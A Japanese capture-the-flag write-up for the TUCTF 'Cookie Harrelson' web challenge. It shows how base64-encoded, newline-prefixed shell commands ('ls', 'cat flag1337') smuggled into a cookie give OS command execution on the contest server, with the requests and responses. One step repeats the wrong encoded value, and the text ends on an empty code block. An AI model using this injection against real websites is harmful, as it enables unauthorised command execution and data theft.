Tags: oscommandinjection base64 web 

Rating: 3.0

# ▼▼▼Cookie Harrelson(Web:200)、338/948team=35.7%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

---

```
Woody Harrelson has decided to take up web dev after learning about Cookies. Show him that he should go back to killing zombies.

http://cookieharrelson.tuctf.com
```

-----

```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
```

`Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/`

Cookieの値`Y2F0IGluZGV4LnR4dA%3D%3D`をBase64でデコード

`cat index.txt`

Cookieに挿入すれば、任意のOSコマンドを実行できそう。

-----

まず、Cookieの値を上記の値のまま送信してみる

```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D
```

そのまま送信しても同じ値が返ってくることがわかった。
`Y2F0IGluZGV4LnR4dA%3D%3D`

-----

`cat flag.txt`をbase64でエンコードした値`Y2F0IGluZGV4LnR4dA%3D%3D`を送信してみる

```
GET / HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D
```

```
Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/
```

`Y2F0IGluZGV4LnR4dA%3D%3D`

↓Base64デコード

`cat index.txt #cat flag.txt`

#でコメントアウトされるようだ。

改行すれば任意のOSコマンドを実行できる

-----

`%0als`をBase64でエンコードした値`Cmxz`を送信する

```
GET /index.php HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie:tallahassee=Cmxz;
```

```
There's no way you can steal the flag from Woody Harrelson's Cookies!!
flag1337
images
index.php
index.txt
```

`%0acat flag1337`をBase64でエンコードした値`CmNhdCBmbGFnMTMzNw==`を送信する

```
GET /index.php HTTP/1.1
Host: cookieharrelson.tuctf.com
Cookie: tallahassee=CmNhdCBmbGFnMTMzNw==
```

`Flag: TUCTF{D0nt_3x3cut3_Fr0m_C00k13s}`

-----

(参考:ソースコードの取得)

`cat index.php`をBase64でエンコードした値`CmNhdCBpbmRleC5waHA=`を送信する

```

```